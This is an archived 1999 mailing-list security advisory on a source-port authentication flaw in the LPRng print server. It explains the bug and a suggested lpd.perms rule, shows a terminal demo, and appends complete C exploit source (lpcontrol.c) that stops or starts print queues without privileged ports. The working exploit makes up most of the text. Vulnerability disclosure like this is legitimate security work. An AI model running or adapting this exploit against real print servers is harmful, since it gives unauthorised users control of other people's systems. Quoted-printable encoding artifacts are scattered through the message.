Date: Fri, 2 Jul 1999 11:38:13 +1000
From: Chris Leishman <[email protected]>
To: [email protected]Subject: Security problem with LPRng
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Hi all,
During some recent work I've been doing with LPRng, I found that is is
possible (on a default LPRng installation) to control the print queues on
the LPRng server.
Most default installations allow the root user at the localhost to send
control commands to the LPRng lpd server. The authentication used is to
make sure that the packets are sent from a low (priviledged) source port
(RFC1179 specifies ports 721-731, although the LPRng howto specifies that
this has been extended to 512-1023). This is why the lpc utility is usually
installed SUID root.
However, it appears that LPRng's lpd server fails to check the source port
correctly, so using a modified client that uses ports outside the allowed=
=20
range the server will accept the command.
An exploit that uses this technique to stop or start a print queue is appen=
ded=20
to this advisory. It was written and tested on Debian GNU/Linux. It is us=
ed=20
in the following way:
host:~$ /usr/sbin/lpc status
Printer Printing Spooling Jobs Server Slave Redirect Status/D=
ebug
lp@host enabled enabled 0 none none
host:~$ gcc lpcontrol.c=20
host:~$ ./a.out
Usage: ./a.out printer [stop|start]
host:~$ ./a.out lp stop
host:~$ /usr/sbin/lpc status
Printer Printing Spooling Jobs Server Slave Redirect Status/D=
ebug
lp@host disabled enabled 0 none none
host:~$
The author ([email protected]) has been notified, but the problem has not
been fully acknowledged. Aside from a lot of random (and generally useless=
)=20
commentry regarding the insecurity of LPRng, NFS, SUID root programs, etc, =
the=20
only usefull suggestion was to add
REJECT=3DX NOT PORT=3D1-1023
to the lpd.perms control file.
One thing that he did mention is quoted below:
> You don't consider SETUID ROOT programs such as a particular
> implementation of lpq that has a stack overflow problem when
> you return long status to be a problem...
I haven't looked for stack overflows in detail yet, but this is a little
conserning since the default is to install lpq, lpc, etc SUID root. While
I hope to have a good look into it, the code is extremely difficult to foll=
ow.
Have a nice day all,
Chris Leishman
---- start lpcontrol.c ----------------------------------------------
/* Exploit for lprng's source port check failure.
* Written and tested on Debian GNU/Linux
*
* Chris Leishman <[email protected]>
*/
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#define SRC_PORT 2056
#define HOST "127.0.0.1"
#define DST_PORT 515
int main(int argc, char **argv)
{
int sock;
struct sockaddr_in dest_sin;
struct sockaddr_in src_sin;
struct hostent *hp;
unsigned long ipnum;
char line[256];
int mode =3D 0;
if (argc < 2)
{
fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
exit(EXIT_FAILURE);
}
if (argc >=3D 3)
{
if (!strcmp(argv[2], "start"))
mode =3D 1;
else if (strcmp(argv[2], "stop"))
{
fprintf(stderr, "Invalid mode. Use stop or start.\n");
fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
exit(EXIT_FAILURE);
}
}
=09
snprintf(line, sizeof(line), "%c%s root %s %s\n",=20
6, argv[1], (mode)? "start":"stop", argv[1]);
memset(&dest_sin, 0, sizeof(struct sockaddr_in));
dest_sin.sin_port =3D htons((short) DST_PORT);
ipnum =3D (unsigned long) inet_addr(HOST);
if (ipnum !=3D ((unsigned long) INADDR_NONE))
{
dest_sin.sin_family =3D AF_INET;
dest_sin.sin_addr.s_addr =3D ipnum;
}
else
{
if ((hp =3D gethostbyname(HOST)) =3D=3D NULL)
{
fprintf(stderr, "Host lookup failed.\n");
exit(EXIT_FAILURE);
}
dest_sin.sin_family =3D hp->h_addrtype;
memcpy(&dest_sin.sin_addr.s_addr,hp->h_addr_list[0],
(size_t)hp->h_length);
}
if ((sock =3D socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("Socket call failed");
exit(EXIT_FAILURE);
}
src_sin.sin_family =3D AF_INET;
src_sin.sin_addr.s_addr =3D INADDR_ANY;
src_sin.sin_port =3D htons((u_short) SRC_PORT);
if ((bind(sock, (struct sockaddr *)&src_sin, sizeof(src_sin))) < 0)
{
perror("Bind failed");
exit(EXIT_FAILURE);
}
if (connect(sock, (struct sockaddr *)&dest_sin, sizeof(dest_sin)) < 0)
{
close(sock);
perror("Connect failed");
exit(EXIT_FAILURE);
}
if (write(sock, line, strlen(line)) <=3D 0)
{
perror("Write failed");
exit(EXIT_FAILURE);
}
close(sock);
return EXIT_SUCCESS;
}
---- stop lpcontrol.c -----------------------------------------------
--=20
----------------------------------------------------------------------
As a computer, I find your faith in technology amusing.
----------------------------------------------------------------------
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